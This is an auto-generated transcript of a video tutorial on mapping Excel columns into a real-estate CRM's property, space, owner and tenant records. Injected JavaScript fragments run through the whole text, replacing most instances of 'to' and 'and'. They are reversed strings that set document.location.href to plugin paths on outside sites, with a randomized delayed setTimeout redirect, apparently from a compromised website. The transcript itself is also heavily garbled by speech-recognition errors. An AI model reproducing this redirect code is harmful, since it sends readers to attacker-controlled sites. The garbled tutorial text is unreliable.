said property import by default at the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top level without property

14:06

site owner agent as the tabs on the toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top

14:10

but since this is kind of an embedded property import that also import spaces

14:15

it’s just down one level so the tabs are gonna be working on toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}today are going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

14:19

be space

14:20

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then within the property tab we’re gonna be working on the property tab on

14:23

their

14:24

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the owner tab under that’s

14:27

as well under the owner tab since this is actually a self-contained

14:31

contact import will see two tabs under their

14:34

the owner company toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and on her contacts so it actually goes down three layers

14:38

imports the owners company links them toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the owner’s contact

14:43

which leads back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the property toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the same goes for the tenet

14:47

you have the tenets company which links toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the tents contact

14:50

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then the tenets contact links toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the space now although this is all gonna be

14:54

linked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

14:55

a the individual properties that the spaces are with it

14:59

so without further ado workers can start kinda telling

15:02

REA where each these columns go its toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do that on the left side on the

15:06

destination fields one put your cursor

15:08

intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to field day you’ll see that change intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a drop them

15:12

so here we wanna for select the field on the right side them

15:16

that will match with our first fields in this case our first

15:19

field is sweet so I want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to disrupt this down toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

15:23

quickly go through here toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and find the field called sweet

15:26

now one thing I notice when going through any list the fields is that it

15:30

might not seem

15:31

alphabetical it first that’s actually normal

15:34

others sub tables that can be imported intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

15:38

so first of all the fields show up with no

15:41

subtype sup table fun at them in this case the field is going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be called

15:45

space

15:46

are sweet a however there’s also for keep going down the list

15:50

fields that can link back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the property property dot toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then

15:54

the field name so that’s just something toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep in mind when you look in your

15:57

field lists might

15:59

get kinda lost because it does separating two different equals

16:02

that toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and will actually end up probably important at least one of those

16:07

so we match up the Swede toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then price should show that a little bit better

16:12

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to had that match up from the a

16:15

source field toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the destination field you drag toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and drop from swords fields

16:20

intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the expression box on the left side toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and that matches that intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to that field

16:25

so that saying importance the REA steeled sweet

16:30

matchup toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and import whatever’s in the column in Excel

16:33

it’s a sweet so I think that’s pretty sweet toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I hope you all the two

16:38

so met staff we just go on down the list find the next field

16:42

but with those absolutely terrible toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I apologize that on

16:45

so the next field is Miss expiration so what I do actually I don’t ever use that

16:49

drop down menu

16:50

I just start typing the name in the field

16:53

so if you put your cursor in the box toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and just start typing in the field in

16:56

start using the up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and down arrows toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and school through them

17:00

the little bit faster than using the dropdown anytime I can use my mouth I

17:04

like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to avoid it

17:06

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to match that up from the sex ratio on the right side

17:09

use drag-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-drop intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the expression box here

17:13

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and continue toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the next field square feet on

17:16

field square feet drag-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-drop so those the only fields that are actually

17:19

matching up through the sweet

17:21

itself so we’ve got three fields that are actually going intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the space record

17:28

everything else is going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be coming in from link

17:31

records so the property information the address the building the city in the

17:35

state

17:35

for the building in the property name that’s all going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be coming from the

17:38

property

17:40

record itself that’s going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be linked toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the space

17:43

the tenant information is going all come from the tenant

17:47

this link the space as well so once you’ve got want have done it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and move on

17:52

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the next one

17:53

summers gonna go down the list my next he’ll draw for property

17:56

sums gonna go ontoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the property tab toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the property tab within

17:59

the property toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to so under the property tablet toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be working with again the

18:03

property tab

18:04

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the owner I’ll some school start with the property fields I just skipped

18:08

the first three fields that have already matched those over the space

18:11

however you can have the any field match intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to multiple

18:15

fields in our yet so if for example I wanted the suite number two

18:19

bill intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to three different fields for some reason I can’t thank you

18:23

any reason you never want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do that but there’s definitely circumstances where

18:26

you want the same information in multiple locations

18:29

such as having the like a specific value on both the contact

18:34

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and on the property massacres you can absolutely

18:38

import the same field multiple times in two more the for

18:41

fields so I’m just something toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep in mind if that ever comes up

18:44

Korea so the next field we have here is gonna be proper

18:47

him sums gonna go here in so I propertyName

18:51

drag-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and-drop toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I’m just gonna quickly

18:54

these are going all be pretty quick matches address

18:58

said he

19:02

this is about as basic as you’re gonna get I mean I’m pretty sure somebody will

19:05

probably have at least spreadsheets the don’t have

19:07

absolutely matching up feels like this so one thing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep in mind is

19:11

sometimes the field

19:12

yourself spreadsheet isn’t going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to you match up exactly with the

19:17

name a the healed in rela-

19:21

so that’s why you have toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to drag toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and drop from the right toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the left side

19:24

is so you you can tell Ari a which column in Excel matches which field

19:28

doesn’t matter what your field name as long as you tell are you

19:32

which field means what so

19:35

now this is gonna be a little bit special case cuz remember we wanted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

19:38

make sure that we don’t

19:39

import if we have the same like the F by spaces

19:43

without one property one import that one property

19:46

want high we don’t want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import five times one import one time

19:50

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and have at least backed intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the individual spaces

19:54

any he toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the tenants ultimately so that’s where this key column comes intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

19:58

play

19:59

so what he means is when he checked that checkbox for field

20:03

that means use all fields that are marked as key toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to check for duplicates

20:07

when importing

20:08

so it’s very important when importing linked information in our EA

20:13

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to use the he on the link records

20:16

so like for example if you’re doing a property import

20:19

it’s very likely that you’re going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have one person that owns more all

20:22

buildings

20:25

so key can be used few make church extra duplicate information

20:29

so in my case I’m just gonna go ahead marc he on the property name

20:33

the address toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the zip code so every time it goes in imports a record intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

20:38

are you a

20:38

